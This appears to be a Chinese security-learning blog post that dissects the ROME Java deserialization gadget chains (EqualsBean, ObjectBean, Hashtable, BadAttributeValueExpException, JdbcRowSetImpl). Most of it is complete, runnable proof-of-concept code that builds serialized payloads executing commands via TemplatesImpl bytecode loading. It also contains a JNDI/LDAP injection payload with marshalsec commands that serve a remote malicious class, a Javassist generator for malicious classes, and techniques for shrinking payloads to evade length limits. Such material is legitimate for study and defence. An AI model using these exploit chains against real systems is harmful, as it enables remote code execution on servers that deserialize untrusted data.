Java安全学习——ROME反序列化

什么是ROME

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。

环境搭建

引入ROME依赖

    <dependencies>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
    </dependencies>

这里JDK版本为jdk8u_181

Gadget示例

下面是ysoserial中的利用链

 * TemplatesImpl.getOutputProperties()
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

利用链分析

任意类加载

寻找反序列化漏洞,实际上就是从入口处的readObject找到任意代码执行处的过程。

ROME反序列化的利用链十分类似于CC链,其后半段的TemplatesImpl.getOutputProperties()正是CC2中实现任意类加载的利用方式。入口处的HashMap.readObject(),也正好是CC6中的反序列化入口。

而ROME漏洞的关键之一就是ToStringBean.toString()

    private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            #获取getter
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        #执行getter
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } ...
    }

可以看到在其toString()中能够调用任意的getter,而我们TemplatesImpl类的任意类加载正是利用了getOutputProperties()这一getter,所以利用方式就显而易见了。

ToStringBean类的构造方法有两个参数,其中_beanClass为JavaBean类型的class,_obj为要调用的实例对象,这里要传入的当然就是要利用的TemplatesImpl类。

public ToStringBean(Class beanClass, Object obj) {
        this._beanClass = beanClass;
        this._obj = obj;
    }

利用测试

这里我们仿照CC2中的利用方式,先生成恶意shell.class

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class shell extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public shell() throws IOException {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

然后我们手动调用ToStringBean.toString()

package ROME;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ROME_toString {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        toStringBean.toString();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功任意类加载

注意,这里最好选择Templates.class作为ToStringBean的参数,因为Templates类仅有一个getter。

TemplatesImpl类含有多个getter,如果选择TemplatesImpl.class,则有可能无法调用到我们需要的getter——getOutputProperties()。所以为了排除干扰,后续我都将以Templates.class作为ToStringBean的参数。

反序列化入口分析

在ROME链中,是以HashMap的readObject作为反序列化入口点的。而我们知道,以HashMap作为入口点的结果就是能调用任意类的hashCode().

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

而ROME中有一个EqualsBean类存在hashCode(),并且最终会调用任意类的toString(),这就完美符合我们利用链的要求。

public EqualsBean(Class beanClass, Object obj) {
        if (!beanClass.isInstance(obj)) {
            throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
        } else {
            this._beanClass = beanClass;
            this._obj = obj;
        }
    }
...

public int hashCode() {
        return this.beanHashCode();
    }

public int beanHashCode() {
        return this._obj.toString().hashCode();
    }

利用测试

这里我们先构造一个能够反序列化的类

package Serial;

import java.io.*;

public class Serial {
    public static void Serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }

    public static Object DeSerialize(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));
        return ois.readObject();
    }
}

然后我们将前后段结合起来

package ROME;

import Serial.Serial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROME_HashMap {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");

        Serial.Serialize(hashMap);
        Serial.DeSerialize("ser.bin");
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功执行

完整利用链

 * TemplatesImpl.getOutputProperties()
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * EqualsBean.beanHashCode()
 * EqualsBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

其他利用链

下面几种ROME利用链的后半段较为固定,都是使用TemplatesImpl.getOutputProperties()进行任意类加载,所以这里的其他利用链都是针对前半段入口处进行替换的。

ObjectBean利用链

ObjectBean.hashcode()中调用了EqualsBean.beanHashCode(),其作用和EqualsBean.hashCode()等价。

public ObjectBean(Class beanClass, Object obj) {
        this(beanClass, obj, (Set)null);
    }

public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
        this._equalsBean = new EqualsBean(beanClass, obj);
        this._toStringBean = new ToStringBean(beanClass, obj);
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
    }
...

public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

可以将EqualsBean.hashCode()替换为ObjectBean.hashcode(),利用链如下

 * TemplatesImpl.getOutputProperties()
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashcode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

POC如下

package ROME;

import Serial.Serial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROME_ObjectBean {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(objectBean, "123");

        Serial.Serialize(hashMap);
        Serial.DeSerialize("ser.bin");
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

HashTable利用链

HashTable利用链其实并不是针对ROME的利用链。其作用是替换作为反序列化入口的HashMap类,如果漏洞过滤了HashMap类,我们就可以使用HashTable类进行替换。

在HashTable的readObject处

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the threshold and loadFactor
        s.defaultReadObject();

 ...

        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

对于HashTable中的每个元素,都会调用reconstitutionPut()函数

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        ...
    }

这里最终还是会调用任意类的hashCode()函数,利用链如下

 * TemplatesImpl.getOutputProperties()
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashcode()
 * HashTable.reconstitutionPut(Entry)
 * HashTable.readObject(ObjectInputStream)

POC如下

package ROME;

import Serial.Serial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;

public class ROME_HashTable {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean,"123");

        Serial.Serialize(hashtable);
        Serial.DeSerialize("ser.bin");
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

BadAttributeValueExpException利用链

如果你对CC链较为熟悉的话,提起toString(),你一定能够想到BadAttributeValueExpException这个类。在其readObject()中能够调用任意类的toSrting()方法。

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

...

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

在CC5中,正是利用这个类来调用任意类的toString()方法。CC5的部分利用链如下

BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
...

但由于在其构造函数中也调用了toString(),为了避免提前触发漏洞,我们可以利用反射修改val的值为需要调用toString()方法的类。

至此,这条利用链的构造方式已经很明晰了,Gadget如下

 * TemplatesImpl.getOutputProperties()
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * BadAttributeValueExpException.readObject()

POC如下

package ROME;

import Serial.Serial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ROME_BadAttributeValueExpException {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);

        setValue(badAttributeValueExpException,"val",toStringBean);

        Serial.Serialize(badAttributeValueExpException);
        Serial.DeSerialize("ser.bin");
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链是针对后半段TemplatesImpl.getOutputProperties()任意类加载进行替换的。JdbcRowSetImpl利用链的结果是能造成JNDI注入,于是下面就可以配合RMI或者LDAP服务进行攻击了。

由于JDNI注入中trustURLCodebase的限制,这里限制的攻击版本为

  • RMI:JDK 6u132JDK 7u122JDK 8u113之前
  • LDAP:JDK 7u2018u1916u211JDK 11.0.1之前

我们知道,在Fastjson反序列化漏洞中能造成JNDI注入的同样是JdbcRowSetImpl这条链。问题出在JdbcRowSetImpl.getDatabaseMetaData()这个getter上

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }

跟进connect()函数,可以看到最终其调用了lookup(),触发了JNDI接口调用

private Connection connect() throws SQLException {
        ...
{
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            }...
    }

lookup()内的值由dataSource属性控制

public String getDataSourceName() {
        return dataSource;
    }

根据以上原理我们可以构造出如下payload

package ROME;

import Serial.Serial;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Field;
import java.util.HashMap;

public class ROME_JNDI {

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        #EXP为我们的恶意类
        String url = "ldap://localhost:9999/EXP";
        jdbcRowSet.setDataSourceName(url);


        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");

        Serial.Serialize(hashMap);
        Serial.DeSerialize("ser.bin");
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

使用marshalsec工具启动LDAP服务,并放置远程恶意类

python3 -m http.server 8888
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#EXP 9999

成功执行

优化利用链

上述利用链在给HashMap赋值的时候,会使用put()函数,最终也会调用一次key.hashcode()

...
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

...
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

为了避免这样一种情况,我们可以选择反射修改HashMap的key值。不过值得注意的是,根据HashMap的实现原理,key-value实际上是存储于它的内部类Node<K,V>中的

static class Node<K,V> implements Map.Entry<K,V> {
        final int hash;
        final K key;
        V value;
        Node<K,V> next;

        Node(int hash, K key, V value, Node<K,V> next) {
            this.hash = hash;
            this.key = key;
            this.value = value;
            this.next = next;
        }
...

}

了解了如上原理,下面我们就可以反射修改链表Node中的key了

        //HashMap大小设置为1
        HashMap<Object,Object> hashMap = new HashMap<>(1);
        //先存入无关数据
        hashMap.put("aaa", "123");

        //反射获取属性值table
        Object[] tables= (Object[]) getValue(hashMap,"table");
        //获取第一个Node
        Object new_tables = tables[0];
        //反射修改Node中的key值
        setValue(new_tables,"key",equalsBean);

完整Payload如下

package ROME;

import Serial.Serial;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Field;
import java.util.HashMap;

public class ROME_JNDI {

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://localhost:9999/EXP";
        jdbcRowSet.setDataSourceName(url);


        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>(1);
        hashMap.put("aaa", "123");

        //反射修改key
        Object[] tables= (Object[]) getValue(hashMap,"table");
        Object new_tables = tables[0];
        setValue(new_tables,"key",equalsBean);


        Serial.Serialize(hashMap);
        Serial.DeSerialize("ser.bin");

    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }
}

最终只会在反序列化时调用hashcode了

当然这里我们也可以使用marshalsec工具中的JDKUtil#makeMap来手动生成一个HashMap。这里v1v2分别为keyvalue

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

精简Payload

在某些情况下,网站可能会对反序列化数据的长度有一定限制,所以有必要通过一些手段来缩短Payload。

各Gadget长度比较

为了方便比较,这里的长度指Payload经base64之后的长度。

Gadget长度
BadAttributeValueExpException利用链3620
ObjectBean利用链3428
HashTable利用链3484
EqualsBean利用链2920

这里最短的是EqualsBean利用链,那么下面我就以该利用链为例,继续缩短我们Payload的长度。

使用Javassist缩短恶意class

什么是Javassist

Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。

ClassPool

ClassPoolCtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用,则它将搜索表示的各种源ClassPath 以查找类文件,然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放CtClass对象的容器。

获得方法: ClassPool cp = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径

cp.insertClassPath(new ClassClassPath(<Class>));

CtClass

可以将其理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以ClassPool.get(ClassName)中获取。

CtMethod

同理,可以理解成加强版的Method对象。可通过CtClass.getDeclaredMethod(MethodName)获取,该类提供了一些方法以便我们能够直接修改方法体

public final class CtMethod extends CtBehavior {
    // 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
    // 设置方法体
    public void setBody(String src);

    // 插入在方法体最前面
    public void insertBefore(String src);

    // 插入在方法体最后面
    public void insertAfter(String src);

    // 在方法体的某一行插入内容
    public int insertAt(int lineNum, String src);

}

传递给方法 insertBefore() ,insertAfter() 和 insertAt() 的 String 对象是由Javassist 的编译器编译的。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:

符号含义
\$0,\$1, \$2, ...\$0 = this; \$1 = args[1] .....
$args方法参数数组.它的类型为 Object[]
$$所有实参。例如, m($$) 等价于 m($1,$2,...)
$cflow(...)cflow 变量
$r返回结果的类型,用于强制类型转换
$w包装器类型,用于强制类型转换
$_返回值
$sig类型为 java.lang.Class 的参数类型数组
$type一个 java.lang.Class 对象,表示返回值类型
$class一个 java.lang.Class 对象,表示当前正在修改的类

使用示例

下面我就使用Javassist来从字节码层面创建一个Person.class文件

首先导入Javassist依赖

<dependency>
  <groupId>org.javassist</groupId>
  <artifactId>javassist</artifactId>
  <version>3.25.0-GA</version>
</dependency>

创建测试类

package Javasist.learning;

import javassist.*;

import java.io.IOException;

public class Javasist_Learning {
    public static void Create_Person() throws NotFoundException, CannotCompileException, IOException {

        //获取CtClass 对象的容器 ClassPool
        ClassPool pool = ClassPool.getDefault();

        //创建一个新类Javasist.Learning.Person
        CtClass ctClass = pool.makeClass("Javasist.learning.Person");

        //创建一个类属性name
        CtField ctField1 = new CtField(pool.get("java.lang.String"),"name",ctClass);
        //设置属性访问符
        ctField1.setModifiers(Modifier.PRIVATE);
        //将name属性添加进Person中,并设置初始值为Feng
        ctClass.addField(ctField1,CtField.Initializer.constant("Feng"));

        //向Person类中添加setter和getter
        ctClass.addMethod(CtNewMethod.setter("setName",ctField1));
        ctClass.addMethod(CtNewMethod.getter("getName",ctField1));

        //创建一个无参构造
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        //设置方法体
        constructor.setBody("{name = \"Feng\";}");
        //向Person类中添加该无参构造
        ctClass.addConstructor(constructor);

        //创建一个类方法printName
        CtMethod ctMethod = new CtMethod(CtClass.voidType,"printName",new CtClass[]{},ctClass);
        //设置方法访问符
        ctMethod.setModifiers(Modifier.PRIVATE);
        //设置方法体
        ctMethod.setBody("{System.out.println(name);}");
        //将该方法添加进Person中
        ctClass.addMethod(ctMethod);

        //将生成的字节码写入文件
        ctClass.writeFile("C:\\Users\\34946\\Desktop\\安全学习\\ROME\\");

    }

    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        Create_Person();
    }
}

生成的Person类如下

package Javasist.Learning;

public class Person {
    private String name = "Feng";

    public void setName(String var1) {
        this.name = var1;
    }

    public String getName() {
        return this.name;
    }

    public Person() {
        this.name = "Feng";
    }

    private void printName() {
        System.out.println(this.name);
    }
}

使用Javassist生成恶意class

由于我们的恶意类需要继承AbstractTranslet类,并重写两个transform()方法。否则编译无法通过,无法生成.class文件。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class shell extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public shell() throws IOException {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception var2) {
            var2.printStackTrace();
        }
    }
}

但是该恶意类在执行过程中并没有用到重写的方法,所以我们可以直接使用Javassist从字节码层面来生成恶意class,跳过恶意类的编译过程。代码如下

package Shell;

import javassist.*;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;

public class GetShellByteCodes {

    public static byte[] getTemplatesImpl(String cmd){
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("A");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"" + cmd + "\");\n}", ctClass);
            ctClass.addConstructor(constructor);
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
            return new byte[]{};
        }
    }
    
    public static void WriteShell() throws IOException {
        byte[] shell = GetShellByteCodes.getTemplatesImpl("calc");
        FileOutputStream fileOutputStream = new FileOutputStream(new File("S"));
        fileOutputStream.write(shell);
    }
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        WriteShell();
    }
}

最终生成的恶意类如下

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class A extends AbstractTranslet {
    public A() {
        Runtime.getRuntime().exec("calc");
    }
}

测试仍可以执行恶意代码

精简gadget

其实在Gedgat的调用流程中,仍有一些细节可以优化,比如

  • TemplatesImpl._name的长度可以为1
  • TemplatesImpl._tfactory可以不用赋值
  • HashMap的value长度可以为1

最终Payload如下

package Shorter;

import Serial.Serial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Equal_Shorter {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("A.class"));

        setValue(templatesimpl,"_name","a");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
//        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "1");

        Serial.Serialize(hashMap);
        Serial.DeSerialize("ser.bin");
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

最终Payload长度比较

Gadget精简前长度精简后长度
BadAttributeValueExpException利用链 36202068
ObjectBean利用链 34281852
HashTable利用链 34841908
EqualsBean利用链 29201340

Payload最短长度为EqualsBean利用链的1340字符。其实在反序列化数据中还有一些无用字符,去掉这些无用字符也不会影响反序列化流程,所以Payload理论上还能更短。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇